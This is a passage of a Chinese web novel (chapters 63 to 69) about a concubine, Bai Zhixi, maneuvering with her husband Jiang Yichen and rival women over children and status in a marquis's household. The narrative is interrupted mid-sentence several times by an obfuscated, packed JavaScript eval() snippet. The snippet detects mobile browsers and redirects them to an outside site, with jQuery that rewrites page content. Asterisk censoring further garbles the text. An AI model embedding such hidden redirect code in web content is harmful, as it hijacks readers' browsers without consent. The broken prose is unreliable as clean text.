这一夜一直快到四更才平静下来,柏芷兮这一晚只觉得自己像是一张鸭饼,被翻过来调过去地擀平弄薄,卷来卷去的一会儿像是抹了酱了,一会儿又放了几片烤鸭肉进去包好,初时那种感觉过了之后,她只想让这一晚早点结束。 或许刚进门的那一夜,姜奕辰只是应付差事地跟她圆了房,而这一夜才是他们真正意义上的第一夜。 柏芷兮总算在这当中找到了些许快乐,虽然之后的劳累有些让她恨不得没有这一夜,因为她实在是累得不行了。 姜奕辰一早还要去当值,只要不是病了,他是断断不会因为这点儿事儿就告假不去的。 也是在这个时候,姜奕辰**过武、行过商的好体力被体现了出来,她累得像被妖精吸了精气,而他却神清气爽。 柏芷兮为他束了发,又为他整了衣裳,鬼使神差地说了句:“前日见着小公子了,说是要让爷检查功课呢,您散了衙,别忘了去看看。” 要是单纯地替姜士明传话,要让他去一心居看看,她可不必把话说得这般具体,还散了衙就去,还别忘了,直接提一句有这么回事儿就是了。 这么说,倒像是提醒他千万别忘了似的。 姜奕辰自觉好笑,食指点着她的朱唇道:“芷兮这是不想我过来,要把我往别人那儿推?” 第64章 世上的母亲千百种 柏芷兮笑了笑,不置可否,提到姜士明时眼中多了些温暖: “妾没有跟这里的人说过,妾与叔父失散流落到揽月苑时,曾经有大半年是看不见的,就是个明眼瞎子。妾不能跟小公子比,可是情同此心,妾能明白小公子的不容易。” “虽然定安侯府不缺名医,小公子锦衣玉食也不缺照料,可他毕竟是个孩子,他会难受,会怕。” 这么小的孩子用针、用药哪有不难受的,要说怕,姜奕辰无声地笑了一下,不动声色地试探道: “怕?他能怕什么?他是这府里的独苗,没人跟他争,没人跟他抢,又还没去读书,没人跟他比,还要怎样?” 柏芷兮帮姜奕辰穿戴好了,见他没动地方,就为他捏起肩来,她没有立刻回答,而是揣测着姜奕辰的心思。 一夜旖旎之后,男人还在最慵懒倦怠的时候,按理说这个时候是戒心最低的,不管真的假的,总能说上几句温言软语,她说错了什么也能一笑而过。 虽然相处的时日不多,可她觉得他不是这样的人,此刻他就像一头慵懒的豹子,随时都可能扭头狠咬人一口。 柏芷兮斟酌了一下,还是决定用一种更委婉的方式说真话:“环境会变,人也会变,这侯府四位夜,他总不会一直是独苗。孩子虽小,可他也会想。” “小公子还小,倒不见得想得这么透。可是他身边的人和他的……生母呢?孩子也是能感受到母亲的不安的,何况他那般懂事。” “就算真是为了妾好,爷也多顾着些小公子那边吧。姚姐姐为着小公子,都要吃妾的醋了。” 昨日一起做羊汤的时候,婵儿说了许多这宅子里的闲话,尤其说到了姚初蕊是怎么像斗鸡一样盯着她们芷春居甚至还迁怒到姜士明头上的。 柏芷兮不得不说,一来她真心心疼姜士明这孩子,二来她不得不放着姚初蕊会利用孩子生事儿,最后害到她头上来。 她得先把话说到前头,让姜奕辰心里有个准备,这样姚初蕊再在他面前上什么眼药,就成了故意为之,他才不至于一听就信了。 姚初蕊有出身、有样貌还有儿子,她可不像柏兰姵想得那么简单,觉得来一个性子娇柔的美妾就能代替姚初蕊了。 姜奕辰纵使对姚初蕊有诸多不满,都不能忽视他们之间的情分,也不能忽视姜奕辰对姜士明的感情。 这毕竟是他的长子,即便一辈子治不好了又如何,他平日里表现得似乎对这个儿子也没有过多关注,可她觉着那是他现在也还是二十多岁的年纪,还没有当父亲的自觉。 要是对姜士明真有个不好,他现在未必会怎样,将来等他年纪大些,有了做父亲的样子了,看他怎么找这后账。 而姜士明却从她的话里听出了心疼和细腻,他看人看得多,已经练出了一双利眼,他能看得出她对姜士明的关心是真的,感同身后也是真的。 可他没有从这个角度想过这个问题,随着柏芷兮的进门,接下来他还可能有别的妾室。姜奕德那边更是一房又一房的纳进门来,还有三房那边都拖到这年纪了,总不好再不娶妻了,再还有五房,也就是他的亲五弟,来年过年的时候回来听说就不走了,这也是要准备娶妻的。 然后还有他三姐,明年也该出嫁了。要真是这府里的风水有问题,这些年府里子嗣才这般单薄,他三姐嫁出去到了夫家就应该不会了吧?也就是说这府里用不了多久就会有外孙、外孙女……姜士明很快就不会是独一个了。 往日只有他一个的时候,他不是个全乎孩子,这府里的人也至少表面上都是对他千宠万宠的,可一旦有了下一个,他很快就不是了。 尽管这个可能出生的孩子还不存在,尽管姜士明才只有五岁,还不懂这些,可孩子也是有感觉的,更何况即便他自己什么都不懂,身边也还有一个姚初蕊在对他念叨。 姚初蕊的性子姜奕辰再清楚不过了,定是唠叨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474409|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说姜士明怎么这么不争气,将来府里再有了别的孩子他要怎么办,是不是要他们母子一起**? 以前姜奕辰就说过姚初蕊,可当时只是因为他听了这些话之后不高兴,他没想到姜士明也会因此受到伤害。 他就更没想到像柏芷兮、陶丝绣这样的人可能也会被牵扯进来,遭到姚初蕊的针对。 要说姚初蕊对柏芷兮没个好脸色,仅仅是因为谁侍寝不侍寝、谁得了多少赏赐这点事儿吗?这是想着柏芷兮之后会怀孕生子、抢了他的位子呢。 姜奕辰目光深处柔和了许多,他淡淡地问道:“你……不喜欢初蕊?她为难你了?” “谈不上不喜欢,更没有为难这么严重,妾总想着有些事儿还是从一开始就不要发生的好。况且要姐姐是一个母亲,或许她做母亲的方式和别的母亲不一样,可终究是做母亲的。” “只是几句闲话,妾怨不到她头上。相反的,要是哪天妾也有这福气生下爷的孩子,妾也是要向她学着做母亲的。” 柏芷兮的声音里没有任何对姚初蕊的抱怨,反而十分豁达。 就像她说的,这世上的人有千百种,做娘的也不是一成不变的,姚初蕊的所作所为就算不符合他们的想法,那也是她选择的做母亲的方式。 选择做什么样的母亲同性子、境遇都有关系,很多时候也不是姚初蕊就能控制得住的。 可是无论如何姚初蕊都是侯府这一代里头一个做娘的,她们这些“后来者”将来少不得都要跟她学,都要借鉴她的所作所为,那么她怎么说的、怎么做的,他又不能一点都不管。 前面都是在为了姜士明好,最多同时显得她贤惠些,这后面的话却是想规劝他的,要是他能管一管姚初蕊,她将来的日子绝对能好过很多。 姜奕辰看了她一眼,握住她在他肩头揉捏的手,半真半假地问道:“可你要是有了孩子,不是要养在兰姵身边么,还用学着做娘?” 第65章 巴不得孩子跟着主母 柏芷兮没想到他会这么问,这话让她怎么回答? 她若是说她要是有了孩儿,身为娘亲,她就该为了孩儿好才对。 从做正妻、做嫡母的角度来说,柏兰姵是很好的,她不会**孩子,会对孩子好,会教他们读书、识字,会督促他们上进。 等他们长大了,还能给他们安排差事,为他们打算前程,还能运用柏家的人脉为他们张罗婚事。 她这个当亲娘的,只要知道他们过得好,时不时地能远远地看上一眼,确认他们是真的过得好的……别说只是让柏兰姵养着,就是他们一辈子都不知道她才是亲娘,她都愿意。 她这辈子能从商户女沦落到揽月苑做瘦马,再爬回良籍做了侯府的良妾,她已经算是幸运的了,她可不指望孩子跟着她,再有什么天大的幸运砸到他们头上去。 也别说什么但凡是个孩子,都是主子,都能享受一样的待遇……她信这些,不如相信天上掉下来一万两银子正好砸到她脚边儿。 这些个高门大户,即便是那些开明的、不太讲究嫡庶有别的,让庶出的孩子跟着嫡出的孩子一块儿读书、习武、学技艺、做女红,吃穿用度,公中给的那份儿也是一样的,将来成亲的聘资或嫁妆、分家分产等等事情也都是按规矩来,除了嫡长女之外,都差不多。 可你要真这么以为,那可就太单纯了。 先说这吃穿用度,孩子们的公中给的是一样的,可是他们亲娘的不一样,单说月例银子,柏芷兮的就比柏兰姵和姚初蕊的都低,她的月例倒是比陶丝绣的高,可陶丝绣外面有差事,有另外的工钱、赏钱,还有下面的孝敬,比她可有钱多了,这些都是可以私下贴补给各自的孩子的。 更何况柏兰姵和姚初蕊都还有各自的嫁妆,这嫁妆里还有能钱生钱的铺子、田地,她有什么?现在卖几罐酱料出去,都得偷偷摸摸的,将来要是不能像陶丝绣一样自己挣出一份差事,或是一个能经常出府的理由,她就得靠这点月例银子过日子。 现在姜奕辰看她新鲜,还能有点赏赐,等到她人老珠黄了,留给她孩子的只有贫穷! 再说读书、**艺、成才,读的书是一样的,教授的先生一样,可谁说成才只看读书了? 平时的几句关键性的提点、几本私下塞过去的书册,再有娘家那边给的机会,这都会影响到他们的命运,而这些东西这些当娘的又怎会白白给了别人肚子里出来的孩子? 柏芷兮自认她自己是有些小聪明的,可要说在大事儿上,她的见识先就比不上柏兰姵,更何况还有柏大人那边。 姜奕辰只是定安侯府的嫡次子,等到将来姜奕德袭了爵,他是要分出去过的,他这市令也不知道能做到哪一步,要是就此止步不前了,将来孩子又多,柏家说不定还真能给柏兰姵的孩子另一条出路。 还有这婚事,说是都是看父亲的,可有几家嫁娶只看孩子自己的人才的?要说助力,只有父亲能给的,真能比父母都能给的贵重了? 别说什么咱不找那等看重出身、需要助力的人家,真到了那时候,是你说不找就不找的吗? 各人有各人的命书,到时候就是非这个人不可了,人家就是希望再多一个母家助力的,你能说什么? 虽说柏家也不是南安都里的鼎盛人家,好歹是个有实惠在身的小官家,孩子跟着柏兰姵,那就是柏家的正头外孙,将来只要不为非作歹,能识文断字,至少能过上殷实的小日子。 这要是跟着她,那就只有一条路可走了,那就是必须出人头地,否则不成功,就成仁! 可是一个妾室的儿子,除非生下来就有着超然的天赋,不然哪有那么容易成材? 就好比前头说的那些,生母的见识有限,谁来提点她的孩子?公中的师父都是一样的,可谁家不是趁着自家孩子回外祖家的时候,偷着请些名师或是家里认识的有见识的友人,去指点孩子一二? 到了科考的时候,哪个有门第的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480633|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正妻家里不想法子给亲外孙开小灶? 礼法上的外孙,日常吃穿用度上给亲外孙一样,甚至生辰、逢年过节给的礼都能一碗水端平那又如何,真到了大事儿上,还能让这礼法的外孙越过亲外孙去? 人的能力都是有限的,这外祖家在扶持了自家孙子之后还能扶持一两个外孙已经是极限了,哪儿还有功夫去扶持礼法上的外孙。 这还是没发生大事儿的时候呢,要是小崽子哪天惹了祸了,这礼法上的外祖家能帮着打听几句,在给点银子,就已经很好了,可不能指望他们像对待亲外孙那样出人、出力还出钱。 要让柏芷兮说心里话,她当然会说,孩子给了柏兰姵的话,她会很放心,还学什么做娘呢?那孩子要想过得更好,忘了她这个亲娘还更好。 可是她要是这么说,听起来也太冷情、太市侩了吧?什么都从现实考虑,在男人耳中,这就是一身铜臭之气。 虽然姜奕辰自己就是个披着官皮的商人,可他毕竟是受着侯府教育长大的,他不会希望自己的女人一身铜臭气,就好像他对陶丝绣早就没什么男女之情了一样。 柏芷兮自认还没强大到陶丝绣那样,她要是让姜奕辰远了她、恶了她,光是柏兰姵就能把她打回原形。 她现在要银子没银子,要人脉没人脉,没人护着顶着这张脸,一旦出去了,恐怕混得连上辈子都不如。 于是,她选择用一种另辟蹊径的方式回答他的话:“夫人是好夫人,也是妾的长姐,妾要是有了孩子,有这样知书达礼的大家闺秀、正室主母做娘亲当然是再好不过了的。” “可是妾也并非不在他身边,夫人也不是那般不近人情的人,一年到头,总能让妾见上几回的。要说这长在身边养育,为他们的衣食住行、读书前场劳心劳力,是在做娘。” “远远的看着,能够学会远着、敬着,不给他们添乱,能把持住自己,克制住心里的那份想要亲近,也是在学着做娘啊。” 第66章 心疼她还不懂 听起来可怜巴巴的,这后宅的女人,一辈子就指望有个孩子,将来能给自己撑腰,她从一开始就能看到自己不会有这么一天,所以从一开始就不奢望,还要学着适应。 “到底还小。”姜奕辰在心里叹道。 姜奕辰心里一阵酸楚,他很久都没有这样的感觉了,其实他也曾经有过这样的天真,就像小时候一样。 徐氏是续弦,娘家是皇商,而他父亲姜定武的原配正妻姚氏,出身伯府,尽管后面已经败落了,可光是一个出身就压过徐氏许多。 一官一商,天壤之别,尽管姚家的日子已经远不如徐家过得好了,可在明面上,徐家就是比姚家低了多少头。 他的兄长姜奕德是原配独子,也是嫡长子,从生下来开始,只要他这辈子不犯大错,他就是下一代的定安侯,整个定安侯府都是他的。 姜奕辰同样从一出生起就丧失了拥有定安侯的权利,除非哪天他那最擅长不求有功但求无过的兄长得了疯病干出些大逆不道的事,他无论怎么做,做得有多好,定安侯府都注定与他无缘。 小时候,身边恶意挑唆的人和徐氏都试探地问过他,不能袭爵,将来只能自奔前程,可能会一代一代地沦为小官吏,继而沦为普通富户,三四代以后甚至寂寂无名,只比寻常百姓富裕一点,他会不会感到遗憾、痛苦? 那时他太小了,现在想想他都记不得自己当时的反应了,还是别人跟他说的。 据说他当时只略微想了想,就皱着小眉头说道:“那我就从现在开始适应好了,从来没有得到过,也就不会有失去,习惯了就好了,我也会习惯自己去挣的。” 徐氏回想起这件事,只说只有最后的“自己去挣”像他们徐家人,其他的话也不知道像谁,那么小的孩子,正是一块儿饴糖都不愿意让给别人的年纪,怎么就能这么豁达了。 姜奕辰回想过他当时的心态,努力地去还原他当时是怎么想的,后来似乎回忆起了一些。 他从小就擅长算学,最是个会算账的,因为年纪太小,还没有太多别的情感,便只是那样算了一下。 爵位和侯府既然他都一定得不到了,他还浪费时间和精力做什么,索性不去想了了,多想一点也不会有别的结果,还是赶紧去想别的事儿吧。 后来他舅舅听说了这件事,便说他是一个不喜欢拖泥带水的人,他当断则断,船小好调头。 可是有些感觉只有他自己知道,等到他长大了之后,等到了他开始因为打理着侯府的庶务接触到更多的事和人之后,他开始发现他并不是那么无所谓的。 小时候会那样,是因为那时候什么都不懂,等到懂了,又怎么会不在乎?这种后知后觉的感觉,有时候反而更加苍凉和痛苦。 柏芷兮现在说得这般云淡风轻,还要从一开始就学着放下和远离,她能说得出这番话,还是因为她现在还没有做母亲吧? 等到她真正做了母亲,按照礼法和承诺,她要把她的孩儿送给柏兰姵养育的时候,她一定不会再是这般心境。 姜奕辰想开口提醒她一下,话到嘴边又咽了回去,他提醒她也没有用,她只是说出了自己的想法,而不是承诺。 事实上在柏家买下她并且让她做了柏家养女的那一刻起,她是否做出承诺就都不重要了,这不是她自己换一种想法就能改变的事。 相反的,她要是能在事情发生之前都这么想,反而能少了许多烦恼,能多傻乐一阵子。 平日里姜奕辰一直都是一个现实的人,他不喜欢给人虚假的希望,可是这一刻他很想呵护她的这份傻气,傻人有傻福,这样也挺好的。 姜奕辰用自己以为的最是呵护、小心的语气道: “我们不会只有一个孩儿的……”所以给柏家一个交代就是了,其他的孩子也不是不能养在她身边。 他什么意思?柏芷兮反而心中警钟大作,几乎只是一瞬间,她巴掌大的小脸就变苦了,她一边嘴角抽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480634|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽: “爷的意思是,夫人只能收下一个妾的孩子,别的都不行?这怎么能行……呢,爷,夫人知书达礼、人又好,她教养孩儿比妾合适。” “妾的孩儿去了她那儿是享福的,有句话叫不患寡而患不均,要是这碗谁端不平,有的能养在夫人身边,有的不能,将来他们长大了,明白事儿了,会责怪妾的。” 同一个亲娘生的,有一个嫡出,其他都是庶出,生母还是个当过瘦马的,其他没能跟着柏兰姵的孩子长大了得多不平。 孩儿跟着她能学什么,学着用琴棋书画怎么讨好他们的父亲?还是跟着她学着做一个庖厨,跟大厨房里的人周旋、赔小心? 他们明明可以是这府里堂堂正正的公子、姑娘,不说能跟柏兰姵真正亲生的孩儿一样,可是至少不会比姚初蕊的孩子差。 她可不是那种为了自己一点私心,为了让孩子不忘了他们的生母,就要毁了他们的前途的人。 她这辈子已经这样了,她在揽月苑的时候就下不了决心一**之、挣一个牌坊出来,她就只能活着、熬着。 可是单有她过这样的日子就已经够了,她的孩儿们该有一个新的开始,不然她来这侯府里赔小心、算计着过下半辈子,跟她沦落市井,跟一个贩夫走卒下一窝小崽子还有多大区别?她才不要呢。 看她一副生怕他不许她把孩儿给柏兰姵的样子,姜奕辰感到既好笑又可悲,他没有动怒,反而抬手抚了抚她头顶的软发,轻声道: “我知道,交给我安排好不好?爷的孩儿,没有哪个是会吃亏的。罢了,都是没影的事儿,说点别的,除了那些花,还想要什么?再许你一个心愿。” 原本以为他能答应给她这芷春居里添一片茶梅已经很好了,没想到还能再有一个心愿啊。 她说要出去这个事儿,之前姜奕辰没答应,她就让筝儿跟柏兰姵说了,柏兰姵说她倒是觉得可行,但还是要跟姜奕辰说一声,那么就…… 第67章 无聊就会勾心斗角 小厨房的事儿还是等一年之期将尽时再说比较好,那就还是争取一个出去走走的机会吧。 柏芷兮不好意思地低头笑着,蚊子似的地道:“爷,前日历妾跟夫人说话,夫人也觉得妾之所以总是惹怒爷,是因为妾从前就没正经地过过日子,以至于妾的见识太少所致。” “妾从前很少出门,如今又日日在这府中,而爷不仅总在外头,就是平时的事物和差事也都多是跟形形**的人打交道的……在这么下去,妾还怎么跟爷有话说?” “还怎么能明白爷的所思所想?妾说话总是惹爷生气,万一哪天爷真的恼了,不理妾了,妾这些个苦衷还能跟谁说去。” “妾也不求能像陶姐姐那样,一个月只一回,哪怕是三个月一回,让人跟着,妾只在街上逛逛,买些胭脂水粉,能跟店里的伙计和那些买脂粉的妇人、姑娘说上几句话,妾就知足了。” 禹朝没有妾室不能出门的规矩,只是说不能在外面过夜,不能私自回娘家,只有夫主和家里准了,就是可以出去的。 甚至像陶丝绣这样替夫主家里打理生意的妾室也有一些,更甚至有那种两夫妻都不擅长打理家中庶务,或是二人身子都不好,又无兄弟、嫂子、弟媳帮着打理的,还会聘一个妾回来专门打理这些杂事。 还有,这姑娘、夫人之间有各种正宴,这妾室之间也是隔三差五地有小宴的,只要她们的夫主和主母不反对,妾室也是能出门的,只是不能随意出去罢了。 柏芷兮只是想出去走走,这个要求不过分。 姜奕辰也这才想到,柏芷兮小时候在父母身边时恐怕年纪太小了,那会儿倒是自由自在的,可是她的记忆恐怕不多。 之后的日子,她过得很封闭,恐怕外面的事儿都不知道几件,这或许就是她说了什么,他总要去猜测她为什么会那样的想的原因。 让她多知晓一些当下世间的事,等她再大一点就好了,多出去走走,心眼儿也能宽些,也不至于在内宅里憋坏了。 姜奕辰跟他的兄长姜奕德不一样,姜奕德是恨不得把他的那些个妾室、通房都关起来,他则不反对她们出去走一走,只要不坏了规矩,这未尝不是一件好事儿。 不然一个两个的都憋在后宅里,女红、琴棋书画都腻了,她们还能干什么?太没事儿干了,不就等着她们彼此勾心斗角、设计陷害了么? 得让她们都有事儿干,心里都有寄托,后宅才能平静。 就像这些年的姚初蕊和陶丝绣,要不是陶丝绣管着绣庄的事儿根本无暇在后宅争什么,姚初蕊早就跟她掐起来了。 姚初蕊现在的地位尴尬,要是真下了决心要管,姜奕辰自然是管得住她的,可她偏偏是先夫人的外甥女,姜定武向来牵挂亡妻,现在他怎样对待姚初蕊,已经是姜定武考量他是否尊重原配嫡母亡灵的标准了。 何况姚初蕊还有孩子,姜士明还不是个全乎的孩子,他怎么说都得多照顾着些,也得让其他人委屈些,多让着她一些。 不过,姜奕辰也清楚,总让一些让着另一个人是不行的,那就只能尽量让她们不要冲突起来,给她们各自找点事做。 有了之前怜惜和感同身受,姜奕辰这回答应得很痛快,直接颔首道: “可以,去吧,让秋寒、冬暖都跟着,再带上车夫和小厮。如今住在府里,不能太显眼,先每月一回吧。遇上节庆,或是别人府上妾室之间的小宴,再回了夫人再说。” “谢谢爷。”柏芷兮一下子没收住,刚才还苦着的小脸仿佛一下子就亮堂了起来。 有些府上地位高些的妾室做生日或是摆小宴也是要去的,姚初蕊有姜士明要照顾,不可能都去,陶丝绣又是从来不去的,一定会有一些落到她头上。 她本来都想过了,要是姜奕辰不答应,她之后也可以借着替柏兰姵上香的机会出去,如今算起来,她有时候一个月定是不止能出去一次的。 姜奕辰也笑了,起身准备离开,还不忘半开玩笑地问 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柏兰姵身子不好,万一开了这个口,说不定不仅会要她做日常的吃食,还会让她做药膳,那她可就真要被油烟熏成黄脸婆了。 萧大娘子没说,柏兰姵才以为她只是嘴馋,要小厨房只是因为她身份地位,不好开口让大厨房的人帮她做,想自己做而已,并不是她有多擅长做菜。 也正因为如此,姜奕辰和柏兰姵也能相信她自己是不太会做的,只是背得住食方,还会看、会吃,能根据记忆指点一二罢了。 姜奕辰想说她手艺不好,他也可以尝尝,可略微想了想,最终决定这回包容着她些: “好,那我可就等着你手艺精进的那一天了。芷兮,你可不能让我等太久了。” “是。”柏芷兮乖巧地行了个礼,将姜奕辰送出门去。 目送着姜奕辰的背影消失之后,柏芷兮松了口气,她差一点就松口亲手为他洗手作羹汤了,还好忍住了,而且他这回好像没动气? 第68章 去告状了 看来说说以前的事,让他看到她为什么要这样想、这样做,他还是能体谅的。 从这一点上来说,他还真是一个不错的夫主,不仅没有不好的嗜好,有点小矫情,但还是能体谅她们这些小人物的。 其实柏芷兮很容易满足,她的目标就是熬到年老色衰,把孩子托付给柏兰姵,她自己带上这半生的积攒,主动把自己打发到庄子上,找个合适的时机出去,做一个平凡而能安稳度日的老妇,开一个食摊,每天听着南来北往的食客讲他们自己的故事…… 她这个愿望跟姜奕辰和柏兰姵建功立业、兴旺家族、传承子嗣的宏愿相比,简直太渺小了,她只要小心谨慎,守住本心,一定可以达成心愿的,对吧? 冬暖从外面进来就看到柏芷兮双手托着下巴一双明眸水汪汪地看着门口的空地发呆,她伸手在柏芷兮眼前晃了晃,小心翼翼地道: “小娘,你怎么了?爷今天是不是还挺高兴的?刚才进来的时候,奴婢听到他交待人来修整花木,还要种什么茶梅。” 柏芷兮回过神来,打了个哈欠,语气里带着些小满足:“不仅要种茶梅,还许了我每月出门一次,还不包括被邀出去参加小宴的时候。冬暖,咱们马上就要有银子花了。” 一旦能出去了,就能把做好的酱料送到一品居变现,之后她们就不用只指望着月钱过日子了。 冬暖爱吃也贪吃,也到了开始姑娘家爱俏的年纪,不说别的,别的家生子经年累月地都攒了好些衣裳下来,她就那么两身,有时候难免要羡慕人家。 等她有了银子,也给冬暖补几身。还有秋寒虽然是柏兰姵的人,她也得好生照顾着,不能让她觉得自己是外人才行。 冬暖一听就乐了:“爷居然答应了小娘两个要求,这是好事儿,这回夫人也不好再怪小娘了。” 她说完自己先愣了一下,这才想起了她进来是干什么的,“小娘,咱们这边是高兴了,可是姚小娘那边可不一定。奴婢刚才进来的时候,瞅见如意在咱们门口探头探脑的,看见奴婢看她就跑回来。” “八成是找姚小娘告状的,这可是要去夫人那儿请安的日子,她该不会要告你的状吧。” “要告就让她告去,我又没做什么,她拿什么告我?她要说我霸着爷,才两晚,她要有脸告,我就有脸说,她从前霸了夫人多少日子,我可不是她那等大家闺秀。” 柏芷兮拿了个果子,拿帕子擦了擦,也不切,直接咬了一口。她嘴小,这一口下去要把嘴彻底张开了才能咬得动。 她这动作一改往日的优雅,但也不算彻头彻尾的市井,反而有一种俏皮小女子装市井做派的样子。她这样子,自己以为粗鲁,别人看着倒是别有一番野趣。 冬暖赶紧去拿了面铜镜过来照着她让她看:“就是这样子,小娘,你记住,下次就这样吃给爷看,好看呢。” “好看?是吗?我看看……行了,记住了,先别说了,去给我弄桶热水,我泡一泡再去夫人那儿。” 柏芷兮现在就想赶紧歇一歇,一会儿去见柏兰姵又是一场硬仗,她可不觉得比跟姜奕辰相处轻松。 这世上的人,站在云朵上头的和站在烂泥里的都好说,无论日子是富贵还是贫贱,找准了位子,认定了方向,闷着头走下去,都不失为一条路。 这做人,最怕的就是走在中间这条路上,上也不是,下也不是,卡在中间最尴尬。 就像她跟柏兰姵,说是姐妹,她们之间一点姐妹之情都没培养起来,说只是主母和妾室,她们之间又应该比别人更亲近才是。 柏芷兮暗暗下了决心,跟夫主的关系有了进展,跟主母的关系也得改善才是,可是她该如何表现才能恰如其分呢? 像对姜奕辰这般温柔小意,不行,那就跟让柏兰姵亲眼看到她如何讨好姜奕辰是一样的了。尽管柏兰姵想让她早些怀上子嗣,可这不等于她愿意看见自己的丈夫跟别的女子亲近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“东西再好,也不过是添福添寿的,要我说还是得命好。不然那么多人屋里都有那么些个东西,怎么偏生就我生下了士明呢?” 第69章 姚初蕊的打算 姚初蕊平日里见姜士明的眼睛不见好,让他少了许多在府里表现的机会,又想到将来万一一直也好不了,心里难免有气,时不时地会把气出到他身上。 可那毕竟是自己身上掉下来的肉,又是她的第一个孩子,她心里怎能不疼他? 尤其是她心里还是觉得他能好起来,将来一定是能看得到的,这让她心里不禁又充满了希望,想要等他复明的时候,让府里的这些都看看,她生下的这个可是定安侯府的长孙! 虽说是庶出,可那又怎样?他不敢跟东院儿世子那边的争,可是在他们西院儿,在他们四房,只要柏兰姵生不出嫡子,她的庶长子也就是嫡子了。 呵,以为弄个小瘦马进府就能颠倒乾坤了?想得美,就算小瘦马明年也生一个,那也跟姜士明差着六岁呢,何况那也不是真正的嫡子。 最主要的是,差了六年可就差得远了,姚家虽然现在败落了,可子孙的教养传承没有断,她出嫁前是按照正妻的标准被教养长大的。 为什么一个家族看重长子?其实这里面有一个常常被人忽略的关键因素,不是名分,而是主君的寿命。 人生七十古来稀,这时候能活到七十岁以上的并不多,多数身子比较康健的也就能活到五十几岁或者六十出头,能活到六十六的都得按照比七十大寿次一等的规格先摆一回小寿。 姜家人的寿命从族谱上的记载来看,只有一位太爷活到了高寿七十二,其余的大概都是五十五到六十三岁之间,如果不出所料,姜奕辰将来也会如此。 而现在的男子一般会在十五岁之后娶妻纳妾,前头的孩子不容易立住,真正能活下来并且长成的长子很多都是在二十岁上下的时候生下的。 姜士明也正是在姜奕辰二十岁那年得的,现在姜士明五岁,而姜奕辰二十五岁。 这就意味着一个问题,主君像这样寿命的人家,等到这孩子也到了二十五岁的时候,主君已经差不多四十五上下了,正是有了作为还年富力强的时候。 这时候他最能扶持的就是自己的长子和年纪相差不大的次子,而从这时开始到他五十多岁的这段时间里,他适龄的、能够婚娶的子女也最能选到好亲事。 而这个年纪差如果特别大的话,就容易出现两个极端。 一种可能是这个人在五十岁以后更加发迹了,那么他后生的子女可能会因为他的提携也变得更有前途了。 第二种可能是,他后面的子女来得太晚,在他们还没到婚娶的年纪时,他就已经不在人世了,这样以来,后面生的年纪小的子女幼年失怙,将来的日子都会过得艰难。 而第一种极端的可能出现的情况比较少,因为在门阀林立的今天,一个人到了五十以后地位、官阶已经很难再有所跃升了,而且就算那时他身居高位了,年纪、精力也都不行了,前面的长子、次子地位已经稳固,又有几个人还有精力去护持底下的孩子? 所以在大家族就很容易出现两个现象,一个是后生的子女反而跟自己叔父、婶子和他们所生的堂兄弟更亲。 再一个就是一旦后面的孩子没长成的时候,他们的父亲就过世了,这些个孩子,尤其是庶子女可就惨了。 这时候的家财和嫁妆都是官面上报备着一份儿,私下里又是一份儿的,两者出入巨大,朝廷屡次打击藏匿私产,却屡禁不止。 虽说后头生的孩子将来婚嫁的时候也能分到自己的一份儿,可那分的不过是账面上的东西,真正庞大的私产,哪儿还有他们的份儿? 这时候倒是嫡出的孩子占了便宜,因为他们的母亲管着家里的庶务,自然也管着这些私产,最终的好处还是落在了嫡出的几个儿子手里。 可是她柏兰姵没有生嫡子的命,就算小瘦马将来有了儿子,养在了柏兰姵身边,在姜奕辰心里还真能将他当作嫡子了? 更何况她的士明是长子,等到那时候早就立住了,什么私产、私账的也都抓到手里了,哪儿还有柏兰姵和小庶子的份儿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492799|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因此她是一点儿也不着急,因为即便是最坏的情况,柏芷兮的孩子也得跟姜士明差六岁,要是拖得再久一些,差个十几岁,她就更不用担心了。 